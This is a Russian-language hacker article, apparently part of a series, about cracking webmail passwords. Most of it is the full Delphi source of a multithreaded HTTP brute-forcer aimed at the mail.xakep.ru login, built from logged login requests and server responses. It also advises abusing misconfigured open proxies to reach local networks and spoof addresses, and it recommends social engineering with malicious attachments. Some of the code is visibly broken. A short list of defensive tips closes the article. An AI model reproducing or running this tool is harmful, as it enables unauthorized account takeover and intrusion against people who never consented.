");
// -->
Продолжение статьи по ПОПЫТКАМ взлома мыла. Для тех, кто в бронепоезде (крупными
буквами): Я НЕ ПИШУ КАК ВЗЛАМЫВАТЬ МЫЛО. Я ЗАНИМАЮСЬ ИССЛЕДОВАНИЯМИ, ДЕЛЮСЬ
НЕКОТОРЫМИ ПРИЕМАМИ КОДИНГА И ПРИКАЛЫВАЮСЬ НАД ОДНОЙ ТЕМОЙ В ФОРУМЕ (см. первую
статью).
Это мое личное право. Стандатной программы по взлому мыла с одной
кнопкой "Hack it" не бывает. Есть человеческий фактор, который можно
использовать. Попытка взлома мыла - это пару часов и чуть-чуть подождать. Самый
лучший метод - социальная инженерия. Писать письма с определенным сообщением, с
атачами, подходящими под это сообщение. А не так, как мне один виры уже 2 месяца
шлет. Размер - 130 кило. Без комментариев. Задолбался уже в диспечере писем на
кнопку "переименовать и удалить" жать, а поставщику его инет услуг написать
облом. Скажу сразу обо всех описанных способах - если сразу не получилось, то
lim(100)% уже и не получится. Только трата времени и инет-ресурсов. Это были
основные выводы по мылу. Эти статьи предоставляют интерес (по моему мнению) с
точки зрения исследований и приемов кодинга. А что таким образом исследовать и
сканировать - умный человек найдет. Это основные выводы по статьям. Продолжим.
HTTP - сервис. 80 порт (чаще всего). Для написания проги, нам понадобятся
дополнительные инструменты для ведения логов некоторых запросов. Это port-mapper
или tcp-logger. Программы, способные вести лог запросов по выбранному протоколу.
Почему не сниффер? Потому, что забивать гвозди микроскопом не удобно. Для
прослушки порта можно взять xspider, по port-mapper есть хорошая статья на
http://www.uinc.ru/index.html, tcp-logger с исходниками можно взять там же.
Tcp-logger - это как бы локальный прокси (в броузере надо вписать в поле прокси
наш адрес и порт, на котором стоит прога), который получает пакеты от клиента,
записывает их в лог и отсылает другому прокси в цепочке. Тот запрашивает сервер
и возвращает ответы нам. tcp-logger получает их, опять пишет лог и передает
клиенту. Как и обещал, будем исследовать mail.xakep.ru. Заходим броузером. Видим
поля для ввода имени и пароля. Естественно, после ввода данных, будет
сформирован и отослан url, содержащий эти данные. Включаем tcp-logger. Вот лог
запроса на вход:
GET http://mail.xakep.ru/cgi-bin/mail?username=USER&domain=xakep.ru&password=PASSWORD&submit=%C7%E0%E9%F2%E8+%E2+%FF%F9%E8%EA HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/pdf, */*
Accept-Language: ru
User-Agent: Mozilla/9.0 (compatible; MSIE 9.0; Windows NT 8.0; qwerty)
Host: mail.xakep.ru
Proxy-Connection: Keep-Alive
Для сканера-брутфорсера, нам нужно найти отличие ответов сервера на
правильный пароль и не правильный. Для этого надо их ввести. На правильный
пароль ответ:
HTTP/1.0 200 OK
Date: Fue, 32 May 2002 08:11:01 GMT
Server: Apache
Cache-Control: no-store
Content-Language: en-us
Pragma: no-cache
Vary: Accept-Language
Content-Type: text/html; charset=windows-1251
X-Cache: MISS from proxy.proxy.proxy
Proxy-Connection: close
SKIP
Вот лог ответа на неправильный пароль:
HTTP/1.0 200 OK
Date: Fue, 32 May 2002 08:11:58 GMT
Server: Apache
Cache-Control: no-store
Content-Language: en-us
Pragma: no-cache
Vary: Accept-Language
Content-Type: text/html; charset=windows-1251
X-Cache: MISS from proxy.proxy.proxy
Proxy-Connection: close
SKIP
Таким образом, для того, чтобы сравнить отличие ответов, надо получить всего
около 300 байт (в неправильном пароле есть , в правильном его нет). Брутфорсер
будет очень похож на cgi-scaner и брутфорсер для запароленных ресурсов, с дной
только разницей, что сравнивать мы будем не первые строки с ответом 200 или 500,
а несколько больший кусок данных. По сравнению с брутфорсом для POP3, этот имеет
ряд преимуществ:
- Не надо на каждый запрос инициализировать сокет. Разрыв соединения при
неправильном пароле не происходит, поэтому его можно инициализировать только
на каждый процесс.
- Надо послать один запрос и получить один ответ, а не три.
- Можно использовать стандартный прокси.
Итак, Опять делаем новое приложение, новое окно, кнопку и ProgreesBar. Вот
исходники HTTP-брутфорсера:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, StdCtrls, WinSock;
type
TForm1 = class(TForm)
Button1: TButton;
ProgressBar1: TProgressBar;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
// Описание процесса
type
TScan = class(TThread)
sock2: TSocket;
addr: TSockAddrIn;
WSAData: TWSAData;
private
procedure CScan;
protected
procedure Execute; override;
end;
var
Form1: TForm1;
// Массив процессов
Sock : array[1..255] of TScan;
Rez : boolean = false;
// Кол-во запущенных процессов на данный момент
I0 : Integer;
// Номер текущего пароля
I : Integer;
// TStringGrid-ы с паролями и с логом
PassList, DopList1 : TStringList;
const
FilePass = 'pass.txt'; // Файл с паролями в
каталоге проги
ProcCount = 10; // кол-во процессов
// Адрес прокси через который будет
сканирование.
// Лучше отпинговать сначала
HTTPserv = 'proxy.address.net';
User = 'USER';
implementation
// Для преобразование имени
type
TaPInAddr = array [0..255] of PInAddr;
PaPInAddr = ^TaPInAddr;
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
PassList:=TStringList.Create;
DopList1:=TStringList.Create;
end;
// Запуск / Остановка
procedure TForm1.Button1Click(Sender: TObject);
var
J0 : Integer;
begin
if Rez then
begin
Rez:=false;
for J0:=1 to I0 do
try
Sock[J0].Terminate;
except
end;
end
else
begin
// Открытие и загрузка файла
паролей
try
PassList.Clear;
PassList.LoadFromFile(FilePass);
except
end;
if PassList.Count<=0 then
begin
Application.MessageBox('Файл паролей не найден
или его нельзя использовать', 'ERROR', mb_Ok);
exit;
end;
Form1.Button1.Caption:='Stop';
Form1.ProgressBar1.Position:=0;
// Кол-во паролей
Form1.ProgressBar1.Max:=PassList.Count;
Application.ProcessMessages;
I:=0;
I0:=1;
Rez:=true;
// Запустить все процессы
while true do
begin
Sock[I0]:=TScan.Create(false);
inc(I0); // Подсчитать
их кол-во
//Выйти если больше
указанного, или стоп, или подобрали
if (I0>ProcCount)or(not
Rez) then
break;
if I0 mod 100 =
0 then
DopList1.Text:=IntToStr(I0);
end;
end;
end;
// Инициализация процесса
procedure TScan.Execute;
var
iaddr, x0 : Integer;
ph : PHostEnt;
pptr : PaPInAddr;
InAddr : TInAddr;
begin
try
// Инициализация сокета
WSAStartUp(257, WSAData);
sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if sock2=INVALID_SOCKET then
begin
try
closesocket(sock2);
except
end;
try
Terminate;
except
end;
exit;
end;
// Получение адреса
iaddr := inet_addr(HTTPserv);
if iaddr <=0 then
begin
// Если имя, а не IP
ph := gethostbyname(HTTPserv);
if ph = nil
then
begin
try
closesocket(sock2);
except
end;
try
Terminate;
except
end;
exit;
end;
pptr := PaPInAddr(ph^.h_addr_list);
x0 := 0;
while pptr^[x0] <> nil
do
begin
InAddr:= pptr^[x0]^;
inc(x0);
addr.sin_addr:=inaddr;
addr.sin_family := AF_INET;
// Порт
прокси - 80, 3128, 80808 и т.п.
addr.sin_port := htons(80);
if (connect(sock2,
addr, sizeof(addr))) = 0 then
break
end;
end
else
begin
// Если IP
addr.sin_addr.S_addr:=iaddr;
addr.sin_family := AF_INET;
// Порт прокси - 80,
3128, 80808 и т.п.
addr.sin_port := htons(80);
addr.sin_family := AF_INET;
if (connect(sock2, addr, sizeof(addr)))
> 0 then
begin
try
closesocket(sock2);
except
end;
try
Terminate;
except
end;
exit;
end;
end;
// Запуск цикла
while true do
begin
CScan;
if (not Rez)or(I>=PassList.Count)
then
break;
end;
except
end;
dec(I0);
try
Terminate;
except
end;
// Если отмена, закончился список или подобрали
if I0<=1 then
begin
Form1.Button1.Caption:='Hack it';
Rez:=false;
Application.ProcessMessages;
DopList1.SaveToFile('log.txt');
end;
end;
// Процедура сканирования
procedure TScan.CScan;
var
x, I2 : Integer;
Buf : string;
begin
I2:=I;
inc(I);
Form1.ProgressBar1.Position:=I2+1;
Application.ProcessMessages;
try
// Формирование url
Buf:='GET http://mail.xakep.ru/cgi-bin/mail?username='+User+'&domain=xakep.ru&password='+PassList.Strings[I2]+'&submit=%C7%E0%E9%F2%E8+%E2+%FF%F9%E8%EA
HTTP/1.0';
// Отправка данных
send(sock2,Buf[1],length(Buf),0);
// Получение 300 байт
setlength(Buf,300);
x:=recv(sock2,Buf[1],300,0);
if x<300 then
exit;
setlength(Buf,300);
// Если подобрали
if pos(Buf,'then
begin
Rez:=false;
DopList1.Text:='Pass = '+PassList.Strings[I2];
Application.MessageBox(PChar('Pass =
'+PassList.Strings[I2]),'ENJOY',mb_Ok);
exit;
end;
except
end;
end;
end.
Такая конструкция будет достаточно быстро работать. Правда, недостаточно
быстро для ОЧЕНЬ БОЛЬШИХ файлов с паролями или прямого перебора. Но, само
описание и приемы подходят не только для мыла, но и для других HTTP-сервисов.
Различные чаты, форумы и т.д. и т.п. Он достаточно просто переделывается в
cgi-scaner и в брутфорсер перебора пароля на закрытые на сервере ресурсы.
Анонимность. Прокси. Для HTTP брутфорсера - уже написано. Надо при
инициализации сокета, использовать адрес и порт прокси. Для POP3 и прочего: надо
юзать SOCKS-proxies. Всю информацию по использованию и настройке можно почитать
здесь.
Публичные прокси. Например, есть некоторая локальная сеть, из которой
осуществляется выход в инет. На сервере стоит прокси сервер для того, чтобы все
в локалке могли открывать сайты, получать почту и т.д. и т.п. Как это не
странно, но очень многие забывают поставить соответствующий доступ к этому
прокси. Т.к. практически все такие прокси поддерживают получение почты, телнет,
HTTP, то сформировав запрос соответствующим образом, можно делать практически
все. Не говоря уже о запуске брутфорсеров и т.п. через этот прокси, можно
получать доступ ко всей локальной сетке. Обратным адресом будет адрес сервера с
прокси. Об этом мало говорят, но такие сервера есть и их не так и мало. Таким
образом, можно применяя технологию спуфинга, получать мыло у прова с уровнем
безопасности из первой статьи (получение почты только при выходе в инет через
них). В общем, вариантов использования очень много.
Подведем итоги по безопасности:
- Если пароль на мыло указать не менее 8-ми случайных цифр и больших,
маленьких букв, то подобрать пароль практически невозможно. Используя любой из
описанных вариантов. Кол-во возможных вариантов ОЧЕНЬ большое. Это же касается
и "Забыл пароль". Для параноиков - его можно менять раз в неделю/месяц.
- Не пользоваться броузером при получении писем. На всякий случай. Или
использовать оперу без установленных сервисов поддержки Java.
- Не отвечать на подозрительные письма. Лучше быть невежливым, чем... Если
есть малейшее подозрение, можешь не сомневаться - это атака на мыло.
- Отключить в e-mail клиенте автопросмотр html и не пользоваться аутглюком.
Есть другие предложения на этом рынке. А ему запретить в firewall вообще
куда-либо доступ.
- Хороший firewall, не только со стандартными функциями и ограничением
показа баннеров, но и с автоматическим переименованием приатаченных файлов с
выбранными расширениями.
- Нужно почаще получать письма и удалять их на сервере. Даже если пароль
подобран, для чтения писем, атакующему придется очень часто их получать и
админ рано или поздно это заметит.
Все это бесполезно, при грамотном осуществлении 3-его способа (см. первую
статью).
P.S. Статья и программа предоставлена в целях обучения и вся ответственность
за использование ложится на твои хилые плечи.
|